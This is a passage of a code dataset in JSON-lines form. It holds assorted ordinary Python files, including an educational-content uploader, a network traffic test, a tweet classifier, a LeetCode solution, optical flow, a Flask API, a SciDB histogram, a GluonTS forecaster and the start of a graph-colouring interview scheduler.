Returns: base64 encoding of thumbnail\n \"\"\"\n if thumbnail is None:\n return None\n else:\n # Check if thumbanil path is valid\n if validators.url(thumbnail):\n r = self.session.get(thumbnail, stream=True)\n if r.status_code == 200:\n # Write thumbnail to temporary file\n thumbnail = tempfile.TemporaryFile()\n for chunk in r:\n thumbnail.write(chunk)\n\n # Open image and resize accordingly\n img = Image.open(thumbnail)\n width = 200\n height = int((float(img.size[1])*float(width/float(img.size[0]))))\n img.thumbnail((width,height), Image.ANTIALIAS)\n\n # Write image to bytes for encoding\n bufferstream = BytesIO()\n img.save(bufferstream, format=\"PNG\")\n return \"data:image/png;base64,\" + base64.b64encode(bufferstream.getvalue()).decode('utf-8')\n\n\n\nclass ChannelManager:\n \"\"\" Manager for handling channel tree structure and communicating to server\n\n Attributes:\n channel (Channel): channel that manager is handling\n domain (str): server domain to create channel on\n downloader (DownloadManager): download manager for handling files\n verbose (bool): indicates whether to print what manager is doing (optional)\n \"\"\"\n def __init__(self, channel, domain, verbose=False):\n self.channel = channel # Channel to process\n self.verbose = verbose # Determines whether to print process\n self.domain = domain # Domain to upload channel to\n self.downloader = DownloadManager(verbose)\n\n def validate(self):\n \"\"\" validate: checks if tree structure is valid\n Args: None\n Returns: boolean indicating if tree is valid\n \"\"\"\n return self.channel.test_tree()\n\n def process_tree(self, node, parent=None):\n \"\"\" process_tree: sets ids and processes files\n Args:\n node (Node): node to process\n parent (Node): parent of node being processed\n Returns: None\n \"\"\"\n from ricecooker.classes import nodes\n\n # If node is not a channel, set ids and download files\n if not isinstance(node, nodes.Channel):\n node.set_ids(self.channel._internal_domain, parent.node_id)\n node.files = self.downloader.download_files(node.files)\n\n # If node is an exercise, process images for exercise\n if isinstance(node, nodes.Exercise):\n if self.verbose:\n print(\" *** Processing images for exercise: {}\".format(node.title))\n node.process_questions(self.downloader)\n\n # Process node's children\n for child_node in node.children:\n self.process_tree(child_node, node)\n\n def get_file_diff(self):\n \"\"\" get_file_diff: retrieves list of files that do not exist on content curation server\n Args: None\n Returns: list of files that are not on server\n \"\"\"\n response = requests.post(config.file_diff_url(self.domain), data=json.dumps(self.downloader.get_files()))\n response.raise_for_status()\n return json.loads(response._content.decode(\"utf-8\"))\n\n def upload_files(self, file_list):\n \"\"\" upload_files: uploads files to server\n Args: file_list (str): list of files to upload\n Returns: None\n \"\"\"\n counter = 0\n for f in file_list:\n with open(config.get_storage_path(f), 'rb') as file_obj:\n response = requests.post(config.file_upload_url(self.domain), files={'file': file_obj})\n response.raise_for_status()\n counter += 1\n if self.verbose:\n print(\"\\tUploaded {0} ({count}/{total}) \".format(f, count=counter, total=len(file_list)))\n\n def upload_tree(self):\n \"\"\" upload_files: sends processed channel data to server to create tree\n Args: None\n Returns: link to uploadedchannel\n \"\"\"\n payload = {\n \"channel_data\":self.channel.to_dict(),\n \"content_data\": [child.to_dict() for child in self.channel.children],\n \"file_data\": self.downloader._file_mapping,\n }\n response = requests.post(config.create_channel_url(self.domain), data=json.dumps(payload))\n response.raise_for_status()\n new_channel = json.loads(response._content.decode(\"utf-8\"))\n return config.open_channel_url(new_channel['invite_id'], new_channel['new_channel'], self.domain)","sub_path":"ricecooker/managers.py","file_name":"managers.py","file_ext":"py","file_size_in_byte":11177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"512440026","text":"import pytest\n\n\ndef test_e2e_port_flow_config(api):\n \"\"\"Demonstrates an end to end configuration\n \"\"\"\n config = api.config()\n\n tx_port, rx_port = config.ports \\\n .port(name='Tx Port', location='10.36.74.26;02;13') \\\n .port(name='Rx Port', location='10.36.74.26;02;14')\n\n flow = config.flows.flow(name='Tx -> Rx Flow')[0]\n flow.tx_rx.port.tx_name = tx_port.name\n flow.tx_rx.port.rx_name = rx_port.name\n flow.size.fixed = 128\n flow.rate.pps = 1000\n flow.duration.fixed_packets.packets = 10000\n\n flow.packet.ethernet().vlan().ipv4().tcp()\n ip = flow.packet[2]\n\n eth = flow.packet[0]\n eth.src.value = '00:00:01:00:00:01'\n eth.dst.values = ['00:00:02:00:00:01', '00:00:02:00:00:01']\n\n # primitive choice\n # @property\n # getter raises exception if choice is not valid\n # setter sets the choice or no setter at all?\n ip.src.value = '1.1.1.1'\n ip.src.values = ['1.1.1.1']\n # complex choice\n # @staticmethod returns instance of class, sets the choice\n # getter raises exception if choice is not valid\n # ip.src.Increment(start='', step='', count=1)\n ip.src.increment.start = '1.1.1.1'\n ip.src.increment.step = '0.0.0.1'\n ip.src.increment.count = 10\n print(ip)\n ip.dst.decrement.start = '1.1.2.200'\n ip.dst.decrement.step = '0.0.0.1'\n ip.dst.decrement.count = 10\n\n ip.priority.dscp.ecn.value = ip.priority.dscp.ecn.CAPABLE_TRANSPORT_1\n ip.priority.dscp.ecn.metric_group = 'ip.priority.dscp.ecn'\n\n # set and get the configuration\n api.set_config(config)\n print(api.get_config())\n\n # start transmit\n transmit_state = api.transmit_state()\n transmit_state.state = 'start'\n api.set_transmit_state(transmit_state)\n\n # get port metrics\n req = api.metrics_request()\n req.choice = req.PORT\n res = api.get_metrics(req)\n for metric in res.port_metrics:\n print(metric)\n\n # get flow metrics\n req = api.metrics_request()\n req.choice = req.FLOW\n res = api.get_metrics(req)\n for metric in res.flow_metrics:\n print(metric)\n\n\nif __name__ == '__main__':\n pytest.main(['-vv', '-s', __file__])\n","sub_path":"snappi/tests/test_e2e_port_flow_config.py","file_name":"test_e2e_port_flow_config.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"416763961","text":"import pickle\nfrom random import shuffle\nfrom sklearn.model_selection import StratifiedKFold\nimport numpy as np\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.svm import LinearSVC\nfrom sklearn.linear_model import LogisticRegression\nimport sys\nfrom sklearn.pipeline import Pipeline\nfrom sklearn import metrics\nimport os\nfrom sklearn.externals import joblib\n\nLOG = 'log_conflicts_fitonly.txt'\nCV = 10\n# NUM_TWEETS_MAX = 1000000\nPROP = 10\n\n\ndef classify(model, x_train, y_train, x_test, y_test, param_grid, log):\n try:\n grid = GridSearchCV(estimator=model, param_grid=param_grid, n_jobs=-1, cv=10, scoring=metrics.make_scorer(metrics.f1_score))\n # scoring=metrics.make_scorer(metrics.f1_score) scoring=metrics.make_scorer(metrics.accuracy_score)\n\n log.write('\\tFitting model after GridSearchCV\\n')\n grid_fit = grid.fit(x_train, y_train)\n\n log.write('Best: %f using %s' % (grid_fit.best_score_, grid_fit.best_params_) + '\\n')\n means = grid_fit.cv_results_['mean_test_score']\n stds = grid_fit.cv_results_['std_test_score']\n params = grid_fit.cv_results_['params']\n for mean, stdev, param in zip(means, stds, params):\n log.write('%f (%f) with: %r' % (mean, stdev, param) + '\\n')\n\n results = grid_fit.predict(x_test)\n log.write(\"Accuracy = \" + repr(metrics.accuracy_score(y_test, results))+\"\\n\")\n log.write(metrics.classification_report(y_test, results)+\"\\n\")\n log.flush()\n\n except Exception:\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n log.write('ERROR ' + str(exc_type) + ',' + str(exc_obj) + ',' + fname + ',' + str(exc_tb.tb_lineno) + '\\n')\n log.close()\n sys.exit(1)\n\n\nwith open(LOG, 'w') as log:\n try:\n docs_1 = []\n docs_0 = []\n labels_1 = []\n labels_0 = []\n log.write('Opening File with Documents...\\n')\n user_block = pickle.load(open('../../../tweets/var_blocks_12.pkl', 'rb'))\n log.write('File Opened\\n')\n\n i = 0\n # stop_tweet_gather = False\n for uid, list_twts in user_block.items():\n #if not stop_tweet_gather:\n list_twts.sort(key=lambda x: x['created_at'])\n for t in list_twts:\n #i += 1\n #if i > NUM_TWEETS_MAX:\n # stop_tweet_gather = True\n # else:\n # docs.append(t['text'].lower())\n if t['label'] == 1:\n docs_1.append(t['text'].lower())\n labels_1.append(1)\n else:\n docs_0.append(t['text'].lower())\n labels_0.append(0)\n\n num_1 = len(labels_1)\n num_0 = num_1 * PROP\n\n aux_0 = list(zip(docs_0, labels_0))\n shuffle(aux_0)\n docs_0, labels_0 = zip(*aux_0)\n\n docs_mix = docs_1 + list(docs_0)[:num_0]\n labels_mix = labels_1 + list(labels_0)[:num_0]\n aux = list(zip(docs_mix, labels_mix))\n shuffle(aux)\n docs, labels = zip(*aux)\n\n log.write('Variables created. List with ' + str(len(labels)) + ' entries\\n')\n\n docs_np = np.array(docs)\n lbls_np = np.array(labels)\n\n pipe_svm = Pipeline([('vect', TfidfVectorizer()), ('cls', LinearSVC())])\n pipe_lg = Pipeline([('vect', TfidfVectorizer()), ('cls', LogisticRegression())])\n\n p_grid_C = {'vect__ngram_range': [(1, 1), (1, 2)], 'vect__stop_words': ['english', None],\n 'cls__C': [0.001, 0.01, 0.1, 1.0, 10.0]}\n\n '''\n skfold = StratifiedKFold(n_splits=CV, random_state=np.random.seed(), shuffle=False)\n i = 0\n for x_index, y_index in skfold.split(docs, labels):\n i += 1\n log.write('Fold ' + str(i) + ' classification beggining\\n')\n classify(pipe_svm, docs_np[x_index], lbls_np[x_index], docs_np[y_index], lbls_np[y_index], p_grid_C, log)\n '''\n\n grid = GridSearchCV(estimator=pipe_svm, param_grid=p_grid_C, n_jobs=-1, cv=10,\n scoring=metrics.make_scorer(metrics.f1_score))\n grid_fit = grid.fit(docs_np, lbls_np)\n joblib.dump(grid_fit, 'cls/linear_svm_60k_agg.pkl')\n except Exception:\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n log.write('ERROR ' + str(exc_type) + ',' + str(exc_obj) + ',' + fname + ',' + str(exc_tb.tb_lineno) + '\\n')\n log.close()\n sys.exit(1)\n","sub_path":"datasets/pt_cyber/tweets_conflicts.py","file_name":"tweets_conflicts.py","file_ext":"py","file_size_in_byte":4619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"520945719","text":"# Help from NeetCode on youtube https://www.youtube.com/watch?v=1UOPsfP85V4\n# --------\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def reverseKGroup(self, head: Optional[ListNode], k: int) -> Optional[ListNode]:\n dummy = ListNode(0,head)\n #previous groups last node\n pl = dummy\n #current groups node\n curr = dummy\n \n while True:\n #current groups last node\n cl = self.lastGroupNode(pl, k)\n #if cl null, its grouping is not of length k, so dont swtich its values\n if not cl:\n break\n \n #setup nodes to allow the connection of first node \n #of current group to first node of next group\n prev = cl.next\n curr = pl.next\n \n for _ in range(k):\n #next node\n nn = curr.next\n #swap nodes\n curr.next = prev\n prev = curr\n curr = nn\n \n newpl = pl.next\n #connect previous groups last node to (new) first node of current group\n #cl was origanally last node of current group\n pl.next = cl\n pl = newpl\n \n return dummy.next\n \n def lastGroupNode(self, node, k):\n for i in range(k):\n if not node.next:\n return None\n node = node.next\n return node","sub_path":"LeetCode/25. Reverse Nodes in k-Group.py","file_name":"25. Reverse Nodes in k-Group.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"76597092","text":"import cv2\nimport numpy as np\nfrom builtins import str\n\n\nclass DenseOpticalFlow:\n\n def __init__(self):\n self.prev = None\n self.hsv = None\n self.threshold = 3\n\n def processFrame(self,original_frame: np.ndarray, in_frame: np.ndarray, reset : bool):\n frame = in_frame.copy()\n if frame.dtype == np.float64:\n frame = np.asarray(frame * 255, dtype=np.uint8)\n\n if self.prev is not None and not reset:\n if len(frame.shape) == 3:\n next = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n else:\n next = frame\n flow = cv2.calcOpticalFlowFarneback(prev=self.prev,next=next, flow=None, pyr_scale=0.6,\n levels=3,winsize=10, iterations=3, poly_n=5, poly_sigma=.2, flags=0)\n flow_x = flow[...,0]\n _, flow_green = cv2.threshold(src=flow_x,thresh=self.threshold,maxval=255, type=cv2.THRESH_TOZERO)\n _, flow_red = cv2.threshold(src=-1. * flow_x, thresh=self.threshold, maxval=255, type=cv2.THRESH_TOZERO)\n\n\n\n mask = np.zeros_like(frame)\n mask[...,1] = np.asarray(flow_green * 20, dtype=np.uint8)\n mask[...,2] = np.asarray(flow_red * 20, dtype=np.uint8)\n\n # mag, ang = cv2.cartToPolar(flow[...,0], flow[...,1])\n # self.hsv[...,0] = ang*180/np.pi/2\n # self.hsv[...,2] = cv2.normalize(mag,None,0,255,cv2.NORM_MINMAX)\n #mask = cv2.cvtColor(self.hsv,cv2.COLOR_HSV2BGR)\n result = cv2.addWeighted(src1=mask, alpha=0.4, src2=frame, beta=0.6, gamma=0)\n self.prev = next\n else:\n result = frame\n self.prev = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n self.hsv = np.zeros_like(frame)\n self.hsv[..., 1] = 255\n mask = np.zeros_like(frame)\n\n stacked = np.vstack((original_frame, in_frame, result , mask))\n final_result = cv2.resize(src=stacked,dsize=None, fx = 0.25, fy=0.25, interpolation=cv2.INTER_CUBIC)\n\n cv2.imshow('frame', result)\n cv2.waitKey(30) & 0xff\n return result\n\n\n\n\n\n\n\n","sub_path":"dense_opticalflow.py","file_name":"dense_opticalflow.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"452818412","text":"from flask import request\nfrom flask_restful import Resource, abort\nfrom pomodb import *\nfrom utils import timestamp as t\n\nclass UsersAPI(Resource):\n def __init__(self):\n super(UsersAPI, self).__init__()\n\n def get(self):\n json = select('users')\n user = User(many=True)\n\n try:\n user = user.load(json)\n except ValidationError as e:\n return e.messages\n return user\n\n def post(self):\n json = request.get_json()\n user = User()\n print(json)\n try:\n user = user.load(json)\n insert('users', **user)\n except ValidationError as e:\n abort(404, message='These fields are wrong: ' + str(e))\n except errors.DuplicateKeyError:\n abort(404, message='User already exists')\n return user['_id']","sub_path":"api/usersAPI.py","file_name":"usersAPI.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"491758311","text":"# License: Simplified BSD, 2014\n# See LICENSE.txt for more information\n\nimport numpy as np\n\nfrom . import SciDBArray\nfrom .interface import _new_attribute_label\nfrom .scidbarray import NP_SDB_TYPE_MAP\n\n__all__ = ['histogram']\n\n\ndef histogram(X, bins=10, att=None, range=None, plot=False, **kwargs):\n \"\"\"\n Build a 1D histogram from a SciDBArray.\n\n Parameters\n ----------\n X : SciDBArray\n The array to compute a histogram for\n att : str (optional)\n The attribute of the array to consider. Defaults to the first attribute.\n bins : int (optional)\n The number of bins\n range : [min, max] (optional)\n The lower and upper limits of the histogram. Defaults to data limits.\n plot : bool\n If True, plot the results with matplotlib\n histtype : 'bar' | 'step' (default='bar')\n If plotting, the kind of hisogram to draw. See matplotlib.hist\n for more details.\n kwargs : optional\n Additional keywords passed to matplotlib\n\n Returns\n -------\n (counts, edges [, artists])\n\n * edges is a NumPy array of edge locations (length=bins+1)\n * counts is the number of data betwen [edges[i], edges[i+1]] (length=bins)\n * artists is a list of the matplotlib artists created if *plot=True*\n \"\"\"\n if not isinstance(X, SciDBArray):\n raise TypeError(\"Input must be a SciDBArray: %s\" % type(X))\n if not isinstance(bins, int):\n raise NotImplementedError(\"Only integer bin arguments \"\n \"currently supported\")\n f = X.afl\n binid = _new_attribute_label('bin', X)\n a = X.att(0) if att is None else att\n dtype = X.dtype if att is None else X.dtype[att]\n t = NP_SDB_TYPE_MAP[dtype.descr[0][1]]\n\n # store bounds\n if range is None:\n M = f.aggregate(X, 'min({a}) as min, max({a}) as max'.format(a=a))\n M = M.eval()\n else:\n lo = f.build('[i=0:0,1,0]' % t, min(range))\n hi = f.build('[j=0:0,1,0]' % t, max(range))\n M = f.cross_join(lo, hi, 'i', 'j').eval()\n\n val2bin = 'floor({bins} * ({a}-min)/(.0000001+max-min))'.format(bins=bins,\n a=a)\n bin2val = '{binid}*(0.0000001+max-min)/{bins} + min'.format(binid=binid,\n bins=bins)\n\n schema = '[{0}=0:{1},1000000,0]'.format(binid, bins)\n s2 = (''\n '[{binid}=0:{bins},1000000,0]'.format(binid=binid, t=t, bins=bins))\n\n # 0, min, max for each bin\n fill = f.slice(f.cross_join(f.build(schema, 0), M), 'i', 0).eval()\n fill2 = f.build('[i=0:0,1,0]', 0) # single 0\n\n q = f.cross_join(X, M) # val, min, max (Ndata)\n q = f.apply(q, binid, val2bin) # val, min, max, binid\n q = f.substitute(q, fill2, binid) # nulls to bin 0\n q = f.redimension(q, s2, 'count(%s) as counts' % binid) # group bins\n q = f.merge(q, fill) # replace nulls with 0\n q = f.apply(q, 'bins', bin2val) # compute bin edges\n q = f.project(q, 'bins', 'counts') # drop min, max\n\n result = q.toarray()\n\n assert result['counts'][-1] == 0\n ct, bin = result['counts'][:-1], result['bins']\n if plot:\n return ct, bin, _plot_hist(result, **kwargs)\n return ct, bin\n\n\ndef _plot_hist(result, **kwargs):\n import matplotlib.pyplot as plt\n histtype = kwargs.pop('histtype', 'bar')\n if histtype not in ['bar', 'step', 'stepfilled']:\n raise ValueError(\"histtype must be bar, step, or stepfilled\")\n\n width = result['bins'][1] - result['bins'][0]\n\n if histtype == 'bar':\n x = result['bins'][:-1]\n y = result['counts'][:-1]\n return plt.bar(x, y, width, **kwargs)\n\n #histtype = step, stepfilled\n x = result['bins']\n x = np.hstack([[x[0]], x, [x[-1]]])\n y = np.hstack([0, result['counts'], 0])\n if histtype == 'stepfilled':\n x = np.column_stack([x[:-1], x[1:]]).ravel()\n y = np.column_stack((y[:-1], y[:-1])).ravel()\n return plt.fill(x, y, **kwargs)\n\n return plt.step(x, y, where='post', **kwargs)\n","sub_path":"scidbpy/aggregation.py","file_name":"aggregation.py","file_ext":"py","file_size_in_byte":4186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"305707363","text":"import json\nimport sys\n\n\ndef load_data(file_path):\n try:\n with open(file_path, 'r') as file_handler:\n return json.load(file_handler)\n except (FileNotFoundError, json.decoder.JSONDecodeError):\n return None\n\n\ndef pretty_print_json(loaded_data):\n print(json.dumps(loaded_data, ensure_ascii=False, indent=4, sort_keys=True))\n\n\nif __name__ == '__main__':\n\n if len(sys.argv) > 1:\n file_path = sys.argv[1]\n else:\n sys.exit('ERROR : no file path')\n\n loaded_data = load_data(file_path)\n if not loaded_data:\n sys.exit('ERROR : file not found or file not in a json format')\n else:\n pretty_print_json(loaded_data)\n","sub_path":"pprint_json.py","file_name":"pprint_json.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"179388939","text":"import argparse\nimport json\nimport mxnet as mx\nimport numpy as np\nfrom mxnet import gluon\nimport os\nfrom pathlib import Path\nfrom datetime import datetime\n\nimport pandas as pd\nimport gluonts\nfrom gluonts.model.n_beats import NBEATSEnsembleEstimator, NBEATSEstimator\nfrom gluonts.dataset.multivariate_grouper import MultivariateGrouper\nfrom gluonts.evaluation.backtest import make_evaluation_predictions\nfrom gluonts.trainer import Trainer\nfrom gluonts.dataset.common import ListDataset\nfrom gluonts.model.predictor import Predictor\n\nif __name__ == '__main__':\n \n num_cpus = int(os.environ['SM_NUM_CPUS'])\n num_gpus = int(os.environ['SM_NUM_GPUS'])\n ctx = mx.gpu() if num_gpus > 0 else mx.cpu()\n \n parser = argparse.ArgumentParser()\n\n parser.add_argument('--batch-size', type=int, default=32)\n parser.add_argument('--epochs', type=int, default=10)\n parser.add_argument('--learning-rate', type=float, default=0.001)\n parser.add_argument('--columns', type=str, default='pm2.5')\n parser.add_argument('--prediction-length', type=int, default=12)\n parser.add_argument('--context-length', type=int, default=168)\n parser.add_argument('--frequency', type=str, default=\"1H\")\n\n parser.add_argument('--model-dir', type=str, default=os.environ['SM_MODEL_DIR'])\n parser.add_argument('--train', type=str, default=os.environ['SM_CHANNEL_TRAIN'])\n\n parser.add_argument('--current-host', type=str, default=os.environ['SM_CURRENT_HOST'])\n parser.add_argument('--hosts', type=list, default=json.loads(os.environ['SM_HOSTS']))\n args = parser.parse_args()\n \n batch_size = args.batch_size\n epochs = args.epochs\n lr = args.learning_rate\n columns = args.columns.split(\",\")\n prediction_length = args.prediction_length\n context_length = args.context_length\n freq = args.frequency\n \n \n model_dir = args.model_dir\n train_path = args.train\n hosts = args.hosts\n \n ## Data Preparation\n # Read dataframe from csv\n data = pd.read_csv(os.path.join(train_path, \"train.csv\"),\n sep=',', \n index_col=0,\n parse_dates=True)\n \n # Set dataset for gluon-ts\n # Extract column specified by \"columns\"\n training_data = ListDataset(\n [{\"start\": data.index[0], \"target\": data[c]} for c in columns],\n freq = freq\n )\n \n ## Training configuration \n # Setting for distributed training\n # if len(hosts) == 1:\n # kvstore = 'device' if num_gpus > 0 else 'local'\n # else:\n # kvstore = 'dist_device_sync' if num_gpus > 0 else 'dist_sync'\n #\n\n estimator = NBEATSEstimator(\n freq=freq, \n prediction_length=prediction_length,\n context_length = context_length,\n trainer=Trainer(batch_size=batch_size, \n ctx=ctx, \n epochs=epochs, \n hybridize=True, \n init=\"xavier\", \n learning_rate=lr)\n )\n \n predictor = estimator.train(training_data)\n \n # Save model \n # GluonTS gives \"serialize\" that supports saving a gluonts model conveniently.\n predictor.serialize(Path(model_dir))\n \ndef model_fn(model_dir):\n \n return Predictor.deserialize(Path(model_dir))\n\ndef transform_fn(net, data, input_content_type, output_content_type):\n \n try:\n data = json.loads(data) \n \n #How many time-series are included?\n N = len(data[\"value\"])\n \n #Create dataset\n test_data = ListDataset(\n [{\"start\": datetime.strptime(data[\"index\"], \"%Y-%m-%d %H:%M:%S\"), \n \"target\": np.array(data[\"value\"][n])} for n in range(N)\n ],\n freq = data[\"freq\"]\n )\n \n # prediction\n forecast_it = net.predict(test_data)\n forecasts = list(forecast_it)\n \n result = []\n for n in range(N):\n result.append(forecasts[n].samples.tolist())\n response_body = json.dumps(result)\n return response_body, output_content_type\n \n except Exception as e:\n print(e)\n return json.dumps(str(e)), output_content_type\n \n","sub_path":"gluonts/src/n_beats_single.py","file_name":"n_beats_single.py","file_ext":"py","file_size_in_byte":4234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"266240576","text":"\nimport numpy as np\nimport torch\nimport torch.nn as nn\n\n\ndef T(x, dtype=torch.float32, requires_grad=False):\n return torch.tensor(x, dtype=dtype, requires_grad=requires_grad, device=\"cuda\")\ndef FCT(x, requires_grad=False):\n return T(x, requires_grad=requires_grad)\ndef ICT(x, requires_grad=False):\n return T(x, dtype=torch.int32, requires_grad=requires_grad)\ndef LCT(x, requires_grad=False):\n return T(x, dtype=torch.long, requires_grad=requires_grad)\n\n\ndef get_error(d1, d2):\n x = get_pth_tensor_as_np(d1) if isinstance(d1, torch.Tensor) else d1\n y = get_pth_tensor_as_np(d2) if isinstance(d2, torch.Tensor) else d2\n e = np.abs(x-y)\n return np.sum(e)\n\ndef get_pth_tensor_as_np(x):\n return x.data.cpu().numpy()\n\ndef convert_poses_NC4_to_N4(pose_p, pose_t, pose_w):\n pose_preds = [] \n pose_targets = []\n pose_weights = []\n pose_labels = []\n POSE_CHANNELS = 4\n for pp, pt, pw in zip(pose_p, pose_t, pose_w):\n pos_ind = np.where(pw==1)[0]\n if len(pos_ind) == 0:\n continue\n pose_preds.append(pp[pos_ind])\n pose_targets.append(pt[pos_ind])\n pose_weights.append(pw[pos_ind])\n pose_labels.append(pos_ind[0] / POSE_CHANNELS)\n return np.array(pose_preds), np.array(pose_targets), np.array(pose_weights), np.array(pose_labels)\n\ndef filter_empty_pose_weights(pose_p, pose_t, pose_w):\n pose_preds = [] \n pose_targets = []\n pose_weights = [] \n for pp, pt, pw in zip(pose_p, pose_t, pose_w):\n pos_ind = np.where(pw==1)[0]\n if len(pos_ind) == 0:\n continue\n pose_preds.append(pp)\n pose_targets.append(pt)\n pose_weights.append(pw)\n return np.array(pose_preds), np.array(pose_targets), np.array(pose_weights)\n\nif __name__ == '__main__': # run with ipython -i -m average_distance_loss.tests.ave_dist_loss_test \n \n root_dir = \"/home/vincent/Documents/py/ml/PoseCNN/\"\n pose_preds = np.load(root_dir + \"poses_pred.npy\")\n pose_targets = np.load(root_dir + \"poses_targets.npy\")\n pose_weights = np.load(root_dir + \"poses_weights.npy\")\n pose_preds, pose_targets, pose_weights = filter_empty_pose_weights(pose_preds, pose_targets, pose_weights)\n pts_all = np.load(root_dir + \"points_all.npy\")\n symmetry = np.array([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1])\n \n fpts = FCT(pts_all, False)\n symm = FCT(symmetry, False)\n margin = 0.01\n \n # # OLD \n # num_classes = 22\n # fpp = FCT(pose_preds, True)\n # fpt = FCT(pose_targets, False)\n # fpw = FCT(pose_weights, False)\n\n # from layer.ave_dist_loss_layer import AverageDistanceLoss\n # ave_dist_loss_op = AverageDistanceLoss(num_classes, margin)\n # loss = ave_dist_loss_op(fpp, fpt, fpw, fpts, symm)\n # print(loss)\n # loss.backward()\n # print(np.sum(fpp.grad.cpu().numpy()))\n\n # NEW\n # pose_p, pose_t, pose_w, pose_labels = convert_poses_NC4_to_N4(pose_preds, pose_targets, pose_weights)\n\n root_dir = \"/home/bot/Documents/deep_learning/maskrcnn-benchmark/\"\n pose_p = np.load(root_dir + \"poses_preds.npy\")\n pose_t = np.load(root_dir + \"poses_targets.npy\")\n pose_labels = np.load(root_dir + \"poses_labels.npy\")\n pts = np.load(root_dir + \"points.npy\")\n symmetry = np.load(root_dir + \"symmetry.npy\")\n\n fpp = FCT(pose_p, True)\n fpt = FCT(pose_t, False)\n fpl = LCT(pose_labels, False)\n # fpts = FCT(pts, False)\n # symm = FCT(symmetry, False)\n\n from layer.ave_dist_loss_layer import AverageDistanceLoss2\n ave_dist_loss_op2 = AverageDistanceLoss2(margin)\n loss = ave_dist_loss_op2(fpp, fpt, fpl, fpts, symm)\n print(loss)\n # loss.backward()\n # print(np.sum(fpp.grad.cpu().numpy()))\n\n","sub_path":"lib/model/average_distance_loss2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"440308853","text":"\"\"\"\nCopyright (C) EvoCount GmbH - All Rights Reserved\n\nUnauthorized copying of this file, via any medium is strictly prohibited\nProprietary and confidential.\n\"\"\"\n\n\nfrom codecs import open\nfrom os import path\n\nfrom setuptools import find_packages, setup\n\nhere = path.abspath(path.dirname(__file__))\n\nwith open(path.join(here, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\n\nsetup(\n name='tcp-connectors',\n version='0.1.5',\n description='Connectors for connecting to any TCP-based service',\n long_description=long_description,\n long_description_content_type='text/markdown',\n url='https://github.com/evocount/tcp-connectors',\n download_url='https://github.com/evocount/tcp-connectors/archive/v0.1.5.tar.gz',\n author='EvoCount GmbH',\n author_email='abhishek.mv1995@gmail.com',\n license='MIT',\n packages=find_packages(),\n install_requires=[\n \"gmqtt\",\n \"aiohttp\",\n \"cchardet\",\n \"aiodns\",\n ],\n # see: https://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'Intended Audience :: System Administrators',\n\n 'License :: OSI Approved :: MIT License',\n\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n ],\n\n python_requires='>=3.6',\n)\n","sub_path":"pypi_install_script/tcp-connectors-0.1.5.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"383045730","text":"import os\nimport csv\nimport random\nimport adjacencylist as G\nimport edges as E\nimport copy\nimport numpy\n# for chaitin's algorithm\nimport interview as I\n\n\n\ndef genetic_algo(graph, color):\n # mid is the color\n\n # chromosomes is the population, ie, list of colors (basically, list of graphs)\n chromosomes = []\n for i in range (50):\n colors = {}\n # for i in graph.keys():\n # colors[i] = random.randint(0, color - 1)\n colors = {i: (random.randint(0, color - 1)) for i in graph.keys()}\n # colors = {\"candidate_id\": random_number}\n chromosomes.append(colors)\n # chromosomes is a list of dictionaries\n val, child = run(chromosomes, graph, color)\n # if conflict are less than the number of colors then the conflict can be resolved in that many colors hence we can term it as valid solution\n # conflict = 0 -> final colored graph\n if val == 0:\n return 0 ,child\n # Doubt \n return 1000 , []\n\ndef find_key(graph, maxx):\n \"\"\"\n \n \"\"\"\n # using count as the limiting factor for genetic\n count, final_stack=I.find_key(copy.deepcopy(graph),len(graph))\n # This function returns the final stack and return the minimum number of colors from Chaitin's\n # count: minimum number of colors\n # final_stack: final stack as a list\n start = int(count / 2)\n end = count\n val = count\n # mid is the color\n while(start<=end):\n mid = int((start + end) / 2)\n stack,child=genetic_algo(copy.deepcopy(graph),mid)\n if(stack==0):\n end = mid - 1\n val = mid\n else:\n start = mid + 1\n # Checking if ans from Genetic = ans from Chaitin's\n if(val != count):\n print(val)\n print(\"*****\")\n print(count)\n print(child)\n for i,j in child.items():\n print(\"Candidate Email: \"+str(i)+\" :: Slot: \"+str(j))\n # If same, then print the Chaitin's slots\n else :\n colour_slots = I.slot_allotment(val, graph, final_stack)\n print(\"\\nSlots alloted to each 